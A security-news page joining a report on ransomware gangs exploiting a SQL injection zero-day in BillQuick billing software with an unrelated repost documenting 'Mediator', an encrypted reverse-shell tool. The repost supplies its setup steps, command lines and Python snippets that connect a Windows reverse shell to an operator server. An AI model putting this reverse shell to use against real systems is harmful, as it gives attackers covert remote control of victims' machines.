Black Hat Ethical Hacking
Hackers used billing software zero-day to deploy ransomware

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Hackers used billing software zero-day to deploy ransomwarePost Views: 128
Reading Time: 1 Minute
An unknown ransomware group is exploiting a critical SQL injection bug found in the BillQuick Web Suite time and billing solution to deploy ransomware on their targets’ networks in ongoing attacks.
BQE Software, the company behind BillQuick, claims to have a 400,000 strong user base worldwide.

The vulnerability, tracked as CVE-2021-42258, can be triggered extremely easily via login requests with invalid characters (a single quote) in the username field, according to security researchers with the Huntress ThreatOps team.

This actively exploited vulnerability was patched on October 7 after Huntress Labs notified BQE Software of the bug.

However, the researchers also found eight other BillQuick zero-day vulnerabilities (i.e., CVE-2021-42344, CVE-2021-42345, CVE-2021-42346, CVE-2021-42571, CVE-2021-42572, CVE-2021-42573, CVE-2021-42741, CVE-2021-42742) also usable for initial access/code execution and ripe for abuse since they’re still waiting for a patch.

“We have been in close contact with the BQE team to notify them of this vulnerability, assess the code changes implemented in WebSuite 2021 version 22.0.9.1 and work to address multiple security concerns we raised over their BillQuick and Core offerings (more to come on these when patches are available).”

According to the researchers, since the attacks have begun, a U.S. engineering company already had its systems encrypted after a vulnerable BillQuick server was hacked and used as the initial point of access to its network.

“The actor we observed did not align with any known/large threat actor of which we are aware. It’s my personal opinion this was a smaller actor and/or group based on their behavior during exploitation and post-exploitation,” Huntress Labs security researcher Caleb Stewart told BleepingComputer.

“However, based on the issues we’ve identified/disclosed, I would expect further exploitation by others moving forward is likely. We observed the activity over Columbus Day weekend (08-10 October 2021).”
See Also: Apple Pay with VISA lets hackers force payments on locked iPhones Active since at least May 2020The ransomware gang behind these attacks is unknown, and its operators haven’t dropped ransom notes on encrypted systems to make it easier to identify them or ask their victims to pay ransom in exchange for decryptors.

Also, it’s not clear if the ransomware is used as a decoy to cover up other malicious activity, such as data theft, or if the victims are expected to know to email the threat actor from the extension appended to encrypted files.

BleepingComputer found that the ransomware deployed by this group has been in use since at least May 2020 and it heavily borrows code from other AutoIT-based ransomware families.

Once deployed on target systems, it will add the pusheken91@bk.ru extension to all encrypted files but, as mentioned above, BleepingComputer has not seen it drop a ransom note during any known attacks.

pie The attackers are likely using this approach because the appended extension itself hints at what email the victims have to use to ask for details on how to recover their data.

In August, the FBI and CISA warned organizations not to let down their defenses against ransomware attacks during weekends or holidays in a joint cybersecurity advisory.

The two federal government agencies said they “observed an increase in highly impactful ransomware attacks occurring on holidays and weekends—when offices are normally closed—in the United States, as recently as the Fourth of July holiday in 2021.”

Mediator - An Extensible, End-To-End Encrypted Reverse Shell With A Novel Approach To Its Architecture
http://www.kitploit.com/2021/10/mediator-extensible-end-to-end.html

Architecture:
Inspired by end-to-end encrypted chat applications, Mediator takes a unique approach to the client/server model of a reverse shell. Mediator uses: A client reverse shell A client handler/operator A server that bridges the two connections Reverse shells and handlers connect to the Mediator server with a connection key. The server listens on port 80 for handler connections and port 443 for reverse shell connections. When clients connect to the mediator, the server queues the clients according to their respective type and connection key. When both a reverse shell and an operator connect to the server with the same key, the server will bridge the two connections. From there, a key exchange is done between the two clients, and all communication between the reverse shell and operator is encrypted end-to-end. This ensures the server cannot snoop on the streams it is piping.
Plugins
Plugins allow you to add extra commands that can execute code on the operator's host, the target host, or both! Please refer to the README in the plugins directory for more information about plugins.
Instructions:

Server
The client scripts can be run on Windows or Linux, but you'll need to stand up the server (mediator.py (https://github.com/lawndoc/mediator/blob/main/mediator.py)) on a Linux host. The server is pure Python, so no dependencies need to be installed. You can either run the server script with $ python3 mediator.py or you can build a Docker image with the provided Dockerfile (https://github.com/lawndoc/mediator/blob/main/Dockerfile) and run it in a container (https://www.kitploit.com/search/label/Container) (make sure to publish ports 80 and 443).
Clients
You will need to install the dependencies found in requirements.txt (https://github.com/lawndoc/mediator/blob/main/requirements.txt)) for the clients to work. You can do this with the following command: $ pip3 install -r requirements.txt See Tips and Reminders at the bottom for help on distributing the clients without worrying about dependencies. The handler and the reverse shell can be used within other Python scripts or directly via the command line. In both cases, the clients can accept arguments for the server address and connection key. Usage of those arguments is described below. Mediator server address For Python script usage, the address of the mediator host is required upon instantiation: Handler class from handler import Handler

operator = Handler(mediatorHost="example.com")
operator.run() WindowsRShell class from windowsTarget import WindowsRShell

shell = WindowsRShell(mediatorHost="example.com")
shell.run() If executing a client script directly from a shell, you can either hard code the address at the bottom of the script, or the server address can be specified as an argument with the -s or --server flag: handler.py $ python3 handler.py -s example.com windowsTarget.py python windowsTarget.py -s example.com ">> python windowsTarget.py -s example.com Connection key When two handlers or two reverse shells (https://www.kitploit.com/search/label/Reverse%20Shells) connect to the mediator server with the same connection key, only the first connection is queued awaiting its match. Until the queued connection either times out (30 seconds) or matches with a counterpart connection, all other clients of the same type trying to connect with the same connection key will be dropped. It is important to make sure each handler is using a unique connection key to avoid a race condition resulting in the wrong shell being given to an operator. Only keys with the prefix "#!ConnectionKey_" will be accepted by the server. The default connection key is "#!ConnectionKey_CHANGE_ME!!!". To change the connection key for Python script usage, the connection key can optionally be supplied upon instantiation: Handler class from handler import Handler

operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
